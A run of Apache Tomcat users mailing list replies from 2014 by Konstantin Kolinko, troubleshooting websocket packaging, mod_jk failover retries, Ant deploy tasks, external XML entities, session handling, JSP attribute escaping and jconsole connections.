> On a local install of the system (windows7) the tomcat lib directory
> contains tomcat7-websocket.jar and websocket-api.jar, however I do not seem
> to be getting those two files from apt-get install tomcat7.
>
> We are using Chef to deploy to multiple instances to AWS and adding the
> trust repo to apt to pull down ver 7.0.52 of Tomcat.
>
> deb http://archive.ubuntu.com/ubuntu/ trusty main
>
> We are accessing our websocket server via https, not wss since we are using
> AWS ELBs.
>
> After spending a few hours trying to figure out why the connections were
> returning 404 for the endpoint I realized the /usr/share/tomcat7/lib dir
> was missing the websocket jars.
>
> Is this working as intended?  Is there a separate apt pkg we can install to
> get the proper jars for websocket or do we have to package these jars
> ourselves?
>

1. ASF does not provide those apt files. It is up to Debian devs how
they pack them.

2. It makes perfect sense to move those jars into separate package:
1) They require Java 7
2) They make startup slower, because of annotation scanning that is
needed to detect WebSocket endpoints

https://wiki.apache.org/tomcat/FAQ/Linux_Unix#Q5
https://wiki.apache.org/tomcat/HowTo/FasterStartUp

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: mod_jk - Failover behaviour and load + patch

[Konstantin Kolinko]

2014-04-02 5:21 GMT+04:00 Frederik Nosi :
> On 04/02/2014 12:21 AM, Christopher Schultz wrote:
>> On 3/26/14, 9:32 PM, Frederik Nosi wrote:
>>>
>>> My scenario is Apache httpd + mod_jk + N Tomcat's in. The default
>>> behaviour of load balanced workers in mod_jk in my testing is that
>>> when a client requests a page (GET / POST / Whatever), the LB
>>> worker tries the request to every ajp worker. This in contrast with
>>> what i read here:
>>>
>>>
>>> http://people.apache.org/~mturk/docs/article/ftwai.html
>>> <http://people.apache.org/%7Emturk/docs/article/ftwai.html>
>>>
>>> Expecially this part:
>>>
>>>
>>> When having multiple nodes in a cluster you can improve your
>>> application availability by implementing failover. The failover
>>> means that if the particular elected node can not fulfill the
>>> request the another node will be selected automatically. In case of
>>> three nodes you are actually doubling your application
>>> availability. The application response time will be slower during
>>> failover, but none of your users will be rejected. Inside the
>>> mod_jk configuration there is a special configuration parameter
>>> called worker.retries that has default value of 3, but that needs
>>> to be adjusted to the actual number of nodes in the cluster.
>>>
>>> ... worker.list=lbworker worker.lbworker.type=lb # Adjust to the
>>> number of workers worker.retries=4
>>> worker.lbworker.balance_workers=node1,node2,node3,node4 If you add
>>> more then three workers to the load balancer adjust the retries
>>> parameter to reflect that number. It will ensure that even in the
>>> worse case scenario the request gets served if there is a single
>>> operable node.
>>>
>>>  From that it seems that the "retries" parameter in a load balancer
>>> worker context should mean the number of real (AJP) workers to
>>> try. (what i need indeed) but in my testing, that LB worker
>>> parameter is the number of times that all the AJP workers that are
>>> part of the LB worker get a round retry. In eg, having a LB worker
>>> with 4 AJP workers, setting LB Worker's retries = 2, the behaviour
>>> i see is that the AJP workers get called this way:
>>>
>>> AJP1 -> timeout [...] AJP4 -> timeout
>>>
>>> ===> repeat again (retries == 2)
>>>
>>> AJP1 -> timeout [...] AJP4 -> timeout
>>>
>>> --> LB sends an error to the client.
>>>
>>>
>>>
>>> Now from the online documentation the meaning of that parameter in
>>> a load balancer worker context is'nt that clear, but from the link
>>> i provided seems it was exactly what i needed, not the number of
>>> retries to all AJP workers, but the number of single AJP workers to
>>> try..
>>>
>>> If that is not correct i can fill a bug report. If instead it's by
>>> design, the attached patch adds a new parameter, "lb_retries", that
>>> does what i need. Of course it's a bit rough, but works.
>>>
>>> Any comments? Am I getting stuff wrong?
>>
>> I'm bumping this because I can see Rainer has fixed a bunch of things
>> in mod_jk over the last few days. Perhaps he's getting ready to do a
>> release or something.
>
>
> Thanks Christopher, BTW on this issue I'm not even sure it's a documentation
> bug, a bug in mod_jk or an unfullfilled expectation of mine :-)
> Thing is, i had to use this cure.
>
> I'm sure my patch is a bit faulty, the HTTP status codes returned are > 500,
> but i'm not sure they are in line with the protocol (503 / 504). but for now
> it works for me though.
>

1. If you really want to submit a patch,  please attach it to an issue
in Bugzilla, so that it is not forgotten.

http://tomcat.apache.org/bugreport.html

2. You were lucky that you attachment has reached the list.  Usually
attachments are just removed by mailing list server.

3. I cannot comment on the essence,  just two formal nits
1) The following line has a tab character instead of whitespaces:
+jk_log(l, JK_LOG_DEBUG, "attempt %d, max attempts %d",

2) An unneeded comment
+/* fredi - default */

3) Documentation =?
(xdocs/reference/workers.xml)

> Noticed there were changes in mod_jk's git repo, i'm following it.
>

It is good that it works for you.
The official repository is subversion one.

(Patches against the git repository are OK.  Maybe you want to submit
those ".gitignore" files, as a separate issue?)

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: NoClassDefFoundError using catalina ant deploy task

[Konstantin Kolinko]

2014-03-29 15:39 GMT+04:00 Christopher Schultz :
>
> Brendan,
>
> On 3/28/14, 8:51 PM, Brendan Miller wrote:
>> I investigated more and found the solution... It seems like a doc
>> bug in that the tutorial doesn't tell you everything you need to do
>> to get deploy to work.
>>
>> tomcat-util.jar needs to be placed in ~/.ant/lib. The tutorial says
>> to place catalina-ant.jar there, but doesn't mention
>> tomcat-util.jar.
>
> You shouldn't have to copy either of these into ~/.ant/lib. Everything
> should be able to be accomplished by setting various class paths
> within the build script. I haven't tried to do this myself, but I'd be
> surprised if Ant required anything in a particular directory.
>

+1.

Please remove any Tomcat/Catalina jars from there.

2014-03-29 3:41 GMT+04:00 Brendan Miller :
> I was going through the tomcat docs and trying to use the default build.xml
> file provided by the appdev tutorial to deploy my war to tomcat.
>
> Example build.xml:
> http://tomcat.apache.org/tomcat-8.0-doc/appdev/build.xml.txt
>

You missed this:

   

You have not configured catalina.home property. As such,
 

was not created properly and taskdef using it failed,

  


Maybe one should add some sanity check (a  task) for that property.


By the way,  the "deployer" download package of Tomcat includes quite
a number of libraries in its lib/ directory. It is not just those two.

>> The user needs the manager-script role for deploy to succeed. The
>> tutorial doesn't mention this.

Where did you look? My first glance, and I see that that is mentioned, here:

http://tomcat.apache.org/tomcat-8.0-doc/appdev/processes.html#One-Time_Setup_of_Ant_and_Tomcat_for_Development

>> Overall the appdev tutorial is pretty problematic because it
>> doesn't really include a complete example and seems to have kind of
>> random organization.
>
> Patches are always welcome.

+1.

The tutorial needs good review and rewrite, but nobody has stepped up
for the task.


Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: External entities in web.xml

[Konstantin Kolinko]

2014-03-26 17:34 GMT+04:00 Robert Olofsson :
> Hi!
>
> I just started an upgrade of our tomcat, 7.0.47, to 7.0.52 and got into a
> problem. Tomcat did not want to start our webapp. Looking in the log
> I see:
>
> Mar 26, 2014 2:10:42 PM org.apache.catalina.startup.ContextConfig
> parseWebXml
> SEVERE: Parse error in application web.xml file at
> jndi:/localhost/bios/WEB-INF/web.xml
> java.io.FileNotFoundException: Could not resolve XML resource [null] with
> public ID
>  [null], system ID [dpservices.xml] and base URI
> [jndi:/localhost/bios/WEB-INF/web.xml]
> to a known, local entity.
>
> Not very helpful!
>

It says "dpservices.xml" and "/bios/WEB-INF/web.xml".
That is enough for you to locate the problematic file.
It says what API is being called.

> Looking in our web.xml I find that it starts with:
> 
> ]>
> ...
>
> Checking the directory and the dpservices.xml file is there.
>
> After a bit of git cloning, git grep:ing and similar I find that:
>
> "7.0.51:Change default value of |xmlBlockExternal| attribute of Context.
>  It is |true| now"
>
> There is no bug referenced so I am not sure why this change was made.
> Is there some security problem with external entities that I should know of?
> Is there a bug where I can read more? (I can not been able to find anything
> specific to this from google).

CVE-2013-4590

The option controls whether the XML parser is allowed to access
external files such as entities, schemas, DTDs etc.

People using such tricks as you are rare. A more often case is typos
in schema or DTD URLs. [1]  With this option being 'true' the parser
fails fast, without trying to contact the external sun/oracle sites.

[1] https://bugs.eclipse.org/bugs/show_bug.cgi?id=351040


> Setting xmlBlockExternal="false" in the context makes things start
> up as they should again and I can continue with testing the new
> version.
>
> It would be nicer if the parse error also said something like "...external
> entities are not allowed, check the xmlBlockExternal context property..."
>


Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CSRF protection in Tomcat 7

[Konstantin Kolinko]

2014-03-25 0:24 GMT+04:00 Akash Jain :
> Yes, it uses LinkedHashMap internally which is not thread safe.
> http://tomcat.10.x6.nabble.com/CsrfPreventionFilter-LRU-cache-td2113069.html
>

A 3 years old thread?

The rules here:
http://tomcat.apache.org/lists.html#tomcat-users

-> 1. your version = ?
-> 6. don't top-post.

The source code is available (both downloadable and online from svn).
All necessary syncs are there.

http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/filters/CsrfPreventionFilter.java?annotate=1148471&diff_format=l#l313

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Issue while configuring CSRFPreventionFilter !

[Konstantin Kolinko]

2014-03-21 10:09 GMT+04:00 Utkarsh Dave :
> Hi all,
>
> I am trying to configure the Tomcat inbuilt filter
> (tomcat.valves.CiscoResponseHeaderFilter) into my $TOMCAT_HOME/conf/web.xml

1. The above file provides defaults for all web applications. It is
unwise to modify it.

E.g. with such configuration you wouldn't be able to access
ROOT/index.html or any of the images, css or js files.

> ...
>
> But after doing this Tomcat server stuck in starting status and do not
> starts completely.

2. Read the logs.

3. If it is "stuck", take several thread dumps to see what exactly it is doing.
If you do not know how to take thread dumps, see "Howto" page in Tomcat FAQ.

> If  I comment out the filter, Tomcat starts properly.
> ...

4. As mentioned on the page below, what is your version of Tomcat?
http://tomcat.apache.org/lists.html#tomcat-users


Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Trouble registering an MBean with mbeans-descriptors.xml

[Konstantin Kolinko]

2014-03-19 20:24 GMT+04:00 Christopher Schultz :
>
> I'm trying to write my own MBean, and I have it working: the bean is
> registered and I can browse it using jconsole, etc., call methods, etc.
>
> At one point during the process, I believe I had the
> beans-descriptors.xml file actually being loaded, so that my
> customized descriptions of attributes and methods were being shown in
> jconsole.
>
> At some point, I changed something and they are no longer showing up.
> It looks like I'm getting an introspected MBean description instead of
> the declared one I want. All the attributes for example are described
> as "Attribute exposed for management".
>
> I've set org.apache.tomcat.util.modeler.level=ALL and the same for the
> Console logger, so I'm getting a steady stream of output from the
> modeler package, including a whole bunch of messages like this:
>
> FINER [main] org.apache.tomcat.util.modeler.Registry.loadDescriptors
> Finding descriptor org/apache/catalina/authenticator
>
> Great. What I don't see is a similar message for my own MBean. It
> doesn't look like Tomcat is ever trying to load the
> mbeans-descriptors.xml file for my MBean.
>
> Here's what I've got:
>
> 0. Tomcat 8.0-trunk
> 1. A JAR file in CATALINA_BASE/lib containing my MBean interface,
> class, and mbeans-descriptors.xml, all in the same package
> (imaginatively called "mbeans"), and a Filter class that creates the
> bean and registers it with the MBean server.
> 2. The Tomcat "examples" webapp, with modifications to WEB-INF/web.xml
> to load the aforementioned Filter.
>
> Here's the whole mbeans-descriptors.xml file:
>
> <>
>

1. Does your web application start, at all? Does you filter start?

2. How exactly are you registering your MBean?

Are you using Modeler API for that? (Registry.registerComponent())

3. Maybe run with a debugger?

> 
>
> 
> className="org.apache.catalina.mbeans.ClassNameMBean"
>  description="Server statistics and configuration"
>  domain="Catalina"
>  type="mbeans.RequestStats">

4. I see that many s have a "group" attribute. Yours does not have one.

(Actually it seems that this attribute is optional and is ignored.
There are no calls to ManagedBean.getGroup() except in
ManagedBean.toString()).

5. I hope that you do not have the second copy of your jar inside of
your webapp. So that it shadows the one in the lib/ directory.

6. Apparently many mbean descriptors are pre-loaded when Tomcat starts
- in o.a.c.mbeans.MBeanUtils.createRegistry()

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: HttpServletRequest Tomcat 5.5.29 to 7.0.52

[Konstantin Kolinko]

2014-03-20 20:55 GMT+04:00 Seema Patel :
> I think I have fixed the error I had.  I have downgraded to Java 6 update 45, 
> to see if it worked on there, but it didn't.
> I stayed with Java 6 to try and resolve the issue.  Basically in my 
> WEB-INF/web.xml file I have the following:
>
> 
> Auth Filter
> *.jsp
> *.do
> REQUEST
> 
>
> All requests go to the doFilter() function.  In Java 5.5.29 it wasn't sending 
> .jsp requests to the the doFilter, even though the above is in the web.xml 
> file.
> In Java 6 and above, it sends the .jsp file to be processed as well.  So if I 
> comment out or take out the  *.jsp line, my code 
> works.
>
> I don't know what's changed in the Java 6 code for this to not work.
> Does anyone know why this is so I have an understanding of it?
>
> Thanks again to all that have helped with this, I know I threw out multiple 
> questions, just didn't want to leave anything out :)
>

I guess s/Java/Tomcat/ in several places above.

Support for multiple s did not exist in old versions of
Servlet Specification, so only one of the patterns would work.

Support for  also did not exist in old versions, but
"REQUEST" is the default value here, so there is no difference.

You can validate your web.xml file against DTD or schema it uses in
any decent XML editor.

(You can enable validation of web.xml in any version of Tomcat 7  and later.
E.g., by setting
 org.apache.catalina.STRICT_SERVLET_COMPLIANCE=true
http://tomcat.apache.org/tomcat-7.0-doc/config/systemprops.html#Specification

When validation is enabled, Tomcat will refuse to deploy an
application with broken web.xml
)

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: double xmlEscape in dynamic attributes in 7.0.52

[Konstantin Kolinko]

2014-03-14 15:37 GMT+04:00 Zboron Lukas :
> Hi,
> I have several custom jspx tags with dynamic attributes that worked well up
> to Tomcat 7.0.47, but they do not work properly on Tomcat 7.0.52. Same
> problems occur also when using Spring form tags (I suspect that other
> libraries would have same problem, but I didn't test them).
>
> sample (data-test[2] is dynamic attribute, onclick is static):
> 
>  data-test="window.alert('Hello ${world}!')"
> data-test2="window.alert('Hello World!')"
> tomcat 7.0.47 output:
>  data-test="window.alert('Hello 'World'!')"
> data-test2="window.alert('Hello World!')"
> tomcat 7.0.52 output:
>  data-test="window.alert('Hello 'World'!')"
> data-test2="window.alert('Hello World!')"
>
> If there is EL used in dynamic attribute (data-test), non-EL part of that
> attribute is escaped twice, EL part is escaped only once. Tomcat 7.0.47
> would escape everything just once.
> Everything works as before if static attribute is used (onclick) or there is
> no EL in dynamic attribute (data-test2).
>

I prepared a reproducer and filed the following issue:
https://issues.apache.org/bugzilla/show_bug.cgi?id=56265

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: double xmlEscape in dynamic attributes in 7.0.52

[Konstantin Kolinko]

2014-03-14 18:35 GMT+04:00 Mark Thomas :
> On 14/03/2014 11:57, Konstantin Kolinko wrote:
>> 2014-03-14 15:37 GMT+04:00 Zboron Lukas :
>>> Hi,
>>> I have several custom jspx tags with dynamic attributes that worked well up
>>> to Tomcat 7.0.47, but they do not work properly on Tomcat 7.0.52. Same
>>> problems occur also when using Spring form tags (I suspect that other
>>> libraries would have same problem, but I didn't test them).
>>>
>>> sample (data-test[2] is dynamic attribute, onclick is static):
>>> 
>>> >> data-test="window.alert('Hello ${world}!')"
>>> data-test2="window.alert('Hello World!')"
>>> tomcat 7.0.47 output:
>>> >> data-test="window.alert('Hello 'World'!')"
>>> data-test2="window.alert('Hello World!')"
>>> tomcat 7.0.52 output:
>>> >> data-test="window.alert('Hello 'World'!')"
>>> data-test2="window.alert('Hello World!')"
>>>
>>> If there is EL used in dynamic attribute (data-test), non-EL part of that
>>> attribute is escaped twice, EL part is escaped only once. Tomcat 7.0.47
>>> would escape everything just once.
>>> Everything works as before if static attribute is used (onclick) or there is
>>> no EL in dynamic attribute (data-test2).
>>>
>>> I strongly suspect, that this is caused by this fix:
>>> https://issues.apache.org/bugzilla/show_bug.cgi?id=55735, but I don't
>>> understand why using EL should cause double escaping of the rest of
>>> attribute value. Is it bug?
>>>
>>
>> It looks like a bug.
>>
>> Please file an issue in Bugzilla.
>> It would be nice if you can attach a simple reproducing web application to 
>> it.
>
> It would also help if we could see the source for sf:form or a
> simplified version of if that demonstrates the problem.
>

Apparently this is about  tag from Spring Framework "form" tags.

Those are in spring-webmvc-4.0.2.RELEASE.jar

META-INF/spring-form.tld defines the tag as

[[[

http://java.sun.com/xml/ns/j2ee";
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance";
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd";
version="2.0">

Spring Framework JSP Form Tag Library
4.0
form
http://www.springframework.org/tags/form


Renders an HTML 'form' tag and exposes a binding
path to inner tags for binding.
form
org.springframework.web.servlet.tags.form.FormTag
JSP

HTML Standard Attribute
id
false
true

(..skipping a lot of attributes)
true


and with  it allows to pass any random
user-created attribute there.

Printing those dynamic attributes looks like the following:
in \org\springframework\web\servlet\tags\form\AbstractHtmlElementTag.java

if (!CollectionUtils.isEmpty(this.dynamicAttributes)) {
        for (String attr : this.dynamicAttributes.keySet()) {
tagWriter.writeOptionalAttributeValue(attr,
getDisplayString(this.dynamicAttributes.get(attr)));
}
}

Links:
https://github.com/spring-projects/spring-framework
https://repo.spring.io/libs-release-local/org/springframework/spring/4.0.2.RELEASE/

https://github.com/spring-projects/spring-framework/blob/master/spring-webmvc/src/main/java/org/springframework/web/servlet/tags/form/AbstractHtmlElementTag.java

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Notifying application of session changes that happened outside of it's scope

[Konstantin Kolinko]

2014-03-14 19:04 GMT+04:00 Christopher Schultz :
> Joseph,
>
> On 3/14/14, 9:49 AM, Joesph Bleau wrote:
>> I should also mention that after some very simple testing I was
>> able to confirm that (of course) Tomcat is notifying my application
>> when the session is invalidated in a valve. I'm still fairly new to
>> this entire stack, so forgive my ignorance. :-)
>
> No problem. Tomcat does in fact change the session id, but only
> *after* a successful authentication (but before the session is blessed
> with authentication information). I believe you said something about
> changing the session id when the user accesses the login page --
> regardless of whether the authentication attempt is successful. Tomcat
> doesn't do that.

Tomcat does that.

For FORM authentication the session id is changed twice. This security
feature is CVE-2013-2067.

> Mark does a good job describing the whole situation here:
> http://www.tomcatexpert.com/blog/2011/04/25/session-fixation-protection
>

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Exception while running downloaded tomcat

[Konstantin Kolinko]

2014-03-14 12:11 GMT+04:00 Akash Jain :
> I am getting following error when trying to run tomcat in Mac osx 10.7.5 (
> using jdk 1.7 )
>
> Can anybody please guide as to what is wrong ?
>
> r 14, 2014 12:04:59 AM org.apache.catalina.startup.HostConfig
> deployDirectory
> INFO: Deploying web application directory
> /Users/myuser/Downloads/apache-tomcat-7.0.52 2/webapps/docs
> Mar 14, 2014 12:04:59 AM org.apache.catalina.startup.HostConfig
> deployDirectory
> SEVERE: Error deploying web application directory
> /Users/myuser/Downloads/apache-tomcat-7.0.52 2/webapps/docs
> java.lang.ExceptionInInitializerError
>...
> Caused by: java.lang.NullPointerException
> at
> org.apache.tomcat.util.descriptor.DigesterFactory.idFor(DigesterFactory.java:107)
> at
> org.apache.tomcat.util.descriptor.DigesterFactory.(DigesterFactory.java:59)
> ... 18 more
>


Fix your configuration.
You have a wrong rogue servlet-api.jar somewhere in your classpath,
See
https://issues.apache.org/bugzilla/show_bug.cgi?id=56236

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: double xmlEscape in dynamic attributes in 7.0.52

[Konstantin Kolinko]

2014-03-14 15:37 GMT+04:00 Zboron Lukas :
> Hi,
> I have several custom jspx tags with dynamic attributes that worked well up
> to Tomcat 7.0.47, but they do not work properly on Tomcat 7.0.52. Same
> problems occur also when using Spring form tags (I suspect that other
> libraries would have same problem, but I didn't test them).
>
> sample (data-test[2] is dynamic attribute, onclick is static):
> 
>  data-test="window.alert('Hello ${world}!')"
> data-test2="window.alert('Hello World!')"
> tomcat 7.0.47 output:
>  data-test="window.alert('Hello 'World'!')"
> data-test2="window.alert('Hello World!')"
> tomcat 7.0.52 output:
>  data-test="window.alert('Hello 'World'!')"
> data-test2="window.alert('Hello World!')"
>
> If there is EL used in dynamic attribute (data-test), non-EL part of that
> attribute is escaped twice, EL part is escaped only once. Tomcat 7.0.47
> would escape everything just once.
> Everything works as before if static attribute is used (onclick) or there is
> no EL in dynamic attribute (data-test2).
>
> I strongly suspect, that this is caused by this fix:
> https://issues.apache.org/bugzilla/show_bug.cgi?id=55735, but I don't
> understand why using EL should cause double escaping of the rest of
> attribute value. Is it bug?
>

It looks like a bug.

Please file an issue in Bugzilla.
It would be nice if you can attach a simple reproducing web application to it.


It was a long battle spawning 7.0.47-7.0.50-7.0.52, but I wonder why
there are still issues with it. I hoped that it was solved with
7.0.52.
http://issues.apache.org/bugzilla/show_bug.cgi?id=56029
http://issues.apache.org/bugzilla/show_bug.cgi?id=55735
http://issues.apache.org/bugzilla/show_bug.cgi?id=55198

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: request.getRemoteAddr() sometimes returning IP address from the previous request

[Konstantin Kolinko]

2014-03-11 18:16 GMT+04:00 Clemens Wyss DEV :
> Hi all,
> we are still facing this issue here
> https://issues.apache.org/bugzilla/show_bug.cgi
> as Mark Thomas points out
> https://issues.apache.org/bugzilla/show_bug.cgi?id=51872#c16
> the bug is "fixed".
>

Tomcat version = ?

> Trying to find out "what we are doing wrong" I have the following questions:
> 1) as soon as a response is commited we should no longer access the 
> corresponding request?

There is no such requirement.

A requirement is that you should not access it once request processing
has been returned to Tomcat.

Once request processing finishes, the request object is recycled by
Tomcat and may be reused for a subsequent request. (The reuse can be
disabled via a system property, see RECYCLE_FACADES. I usually do so,
for better security).

> 2) a response is commited (at latest) as soon as a byte is written into the 
> response's writer?

No. It happens when you explicitly flush it, or a buffer overflows. It
happens immediately of you have configured buffer size of 0.

> 3) which "members" of the request are "volatile"? Are these specified in the 
> ServletRequest API?

Not specified.

(I am talking about "classic" Servlet API. No async processing.)

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Tomcat 7 Session Persistence disable not working as expected

[Konstantin Kolinko]

2014-03-10 10:58 GMT+04:00 Akash Jain :
> Christopher,
>
> I have changed in server.xml. Below is the server.xml part -
>
>   docBase="ROOT"
>  sessionCookieName="mycookie"
>  sessionCookieDomain="myapp.mydomain.com"
>  sessionCookiePath="/"
>  useHttpOnly="true"
>  reloadable="false">
> WEB-INF/web.xml
>
> 
>
> As indicated above, I write JSESSIONID in "mycookie" cookie. Even after
> restart, the JSESSIONID is not getting invalidated. Before and after
> restart of apache, I can keep browsing the site with the same JSESSIONID in
> cookie.

This behaviour is expected for sessionCookiePath="/".

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Not able to connect to Tomcat via jconsole

[Konstantin Kolinko]

2014-03-10 23:51 GMT+04:00 Konstantin Kolinko :
> 2014-03-10 22:11 GMT+04:00 Christopher Schultz >
>> On 3/10/14, 1:20 PM, Christopher Schultz wrote:
>>> On 3/10/14, 12:58 PM, Christopher Schultz wrote:
>>>> All,
>>>
>>>> On 3/10/14, 12:52 PM, Christopher Schultz wrote:
>>>>> I stopped Tomcat, completely removed my web application,
>>>>> restarted Tomcat and I can connect without a problem.
>>>
>>>>> AFAIK, my application isn't doing anything with JMX.
>>>
>>>>> I'll try using my context.xml without any actual code
>>>>> involved.
>>>
>>>> Okay, I've discovered that if I deploy my web application but
>>>> remove WEB-INF/web.xml, I can still connect. Something my web
>>>> application is doing is breaking something.
>>>
>>>> I'll try to narrow-down what it is.
>>>
>>>> (Again, AFAIK, I'm not mucking-around with any of Tomcat's
>>>> internals... just a standard web application.)_
>>>
>>> It looks like I can reproduce this with just Velocity and Velocity
>>>  Tools. I'll keep narrowing it down.
>>
>> I have a minimal test which I've attached (sort of) to this Bugzilla
>> issue:
>> https://issues.apache.org/bugzilla/show_bug.cgi?id=56242
>>
>> If anyone could give me some pointers at this stage, it would be
>> greatly appreciated.
>>
>
> Win7, 32-bit JDK 7u51
> Tomcat 8.0.3
> If I connect with jconsole, it displays an odd error message with the
> following title, text and two buttons (I suppose some resource is
> missing, so it displays message keys instead of actual text):
>
> ConnectionFailedSSL1
> ConnectionFailedSSL2
> [Insecure] [Cancel]
>
> If I press "Insecure" button, it connects successfully and shows
> Catalina JMX beans.
>
> The above happens regardless of whether your web application is deployed or 
> not.
>

The same SSL attachment failure
happens with JDK 7u51 + Tomcat 7.0.52.

Those meaningless messages are a known bug
https://bugs.openjdk.java.net/browse/JDK-8030878
but it does not explain why it fails in the first place.

I guess they somehow broke/tightened AttachAPI?

Removing "-Djava.io.tmpdir" from catalina.bat does not help.


2014-03-10 20:52 GMT+04:00 Christopher Schultz :
>
> I stopped Tomcat, completely removed my web application, restarted
> Tomcat and I can connect without a problem.
>
> AFAIK, my application isn't doing anything with JMX.
>

What is the state of Tomcat when you "completely removed my web
application"? Were there other web applications deployed on Tomcat?

I my test I had standard webapps (at least docs, manager, ROOT) there.

> AFAIK, my application isn't doing anything with JMX.

>From a quick view, velocity 1.7 and velocity-tools 2.0 do not deal
with JMX either. The only imports of javax.* are those of Servlet API.

I wonder whether your issue is reproducible with Java 8 release
candidates, that some Oracle people were advertising on dev mailing
list.

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Not able to connect to Tomcat via jconsole

[Konstantin Kolinko]

2014-03-10 22:11 GMT+04:00 Christopher Schultz >
> On 3/10/14, 1:20 PM, Christopher Schultz wrote:
>> On 3/10/14, 12:58 PM, Christopher Schultz wrote:
>>> All,
>>
>>> On 3/10/14, 12:52 PM, Christopher Schultz wrote:
>>>> I stopped Tomcat, completely removed my web application,
>>>> restarted Tomcat and I can connect without a problem.
>>
>>>> AFAIK, my application isn't doing anything with JMX.
>>
>>>> I'll try using my context.xml without any actual code
>>>> involved.
>>
>>> Okay, I've discovered that if I deploy my web application but
>>> remove WEB-INF/web.xml, I can still connect. Something my web
>>> application is doing is breaking something.
>>
>>> I'll try to narrow-down what it is.
>>
>>> (Again, AFAIK, I'm not mucking-around with any of Tomcat's
>>> internals... just a standard web application.)_
>>
>> It looks like I can reproduce this with just Velocity and Velocity
>>  Tools. I'll keep narrowing it down.
>
> I have a minimal test which I've attached (sort of) to this Bugzilla
> issue:
> https://issues.apache.org/bugzilla/show_bug.cgi?id=56242
>
> If anyone could give me some pointers at this stage, it would be
> greatly appreciated.
>

Win7, 32-bit JDK 7u51
Tomcat 8.0.3
If I connect with jconsole, it displays an odd error message with the
following title, text and two buttons (I suppose some resource is
missing, so it displays message keys instead of actual text):

ConnectionFailedSSL1
ConnectionFailedSSL2
[Insecure] [Cancel]

If I press "Insecure" button, it connects successfully and shows
Catalina JMX beans.

The above happens regardless of whether your web application is deployed or not.

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: NIO connector - connections and threads

[Konstantin Kolinko]

2014-03-09 2:08 GMT+04:00 John Smith :
> Sorry, forgot: Tomcat 7.0.42
>
>
> On Fri, Mar 7, 2014 at 3:59 PM, John Smith  wrote:
>
>> The NIO connector has two attributes from the standard HTTP Connector
>> implementation, maxConnections and maxThreads with defaults of 1 and
>> 200, respectively.
>>
>> Can anyone shine some light on how these work together? If I'm allowing up
>> to 1 connections, would that mean I only have 200 threads to process
>> through them? It would seem to be a disparity between the defaults. If I'm
>> expecting maxConnection numbers in the area of ~2000 at any given time,
>> wouldn't I want to bump up my maxThreads closer to match that?
>>
>> Production environment is:
>>
>> DELL PowerEdge R720
>> Single Socket Six Core Intel Xeon E5-2640 2.5GHz
>> 32 GB RAM
>> RHEL 6
>>

Roughly speaking,

The new APIs in java NIO and in Apache APR (and ultimately in
underlying OS) allow to test whether there are incoming data on a
network socket without actually reading it.

A thread is needed when Tomcat calls your code in a web application to
process a request.

When request processing ends and control is returned to Tomcat, the
request processing thread is decoupled from connection and is used to
process other connections.  With keep-alive feature in HTTP/1.1
protocol there may be several HTTP requests on the same HTTP
connection,

maxConnections = how many open HTTP connection can be hold by Tomcat
maxThreads = how many requests are being actively processed at the same time.

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: The Service Component

[Konstantin Kolinko]

2014-03-07 21:21 GMT+04:00 André Warnier :
> Christopher Schultz wrote:
>>
>> -BEGIN PGP SIGNED MESSAGE-
>> Hash: SHA256
>>
>> Leo,
>>
>> On 3/7/14, 10:44 AM, Leo Donahue wrote:
>>>
>>> Who uses more than one Service in their server.xml and why?  I get that
>>> you can have multiple Connectors if you have multiple Service components but
>>> why use multiple connectors?
>>
>>
>> You can already have multiple s per  but the
>> difference is that all Connectors in Service can access all web
>> applications in that Service.
>>
>>> Are there any docs on the use cases for these features?
>>
>>
>> Let's say that you wanted to deploy a non-secure webapp (/open) and a
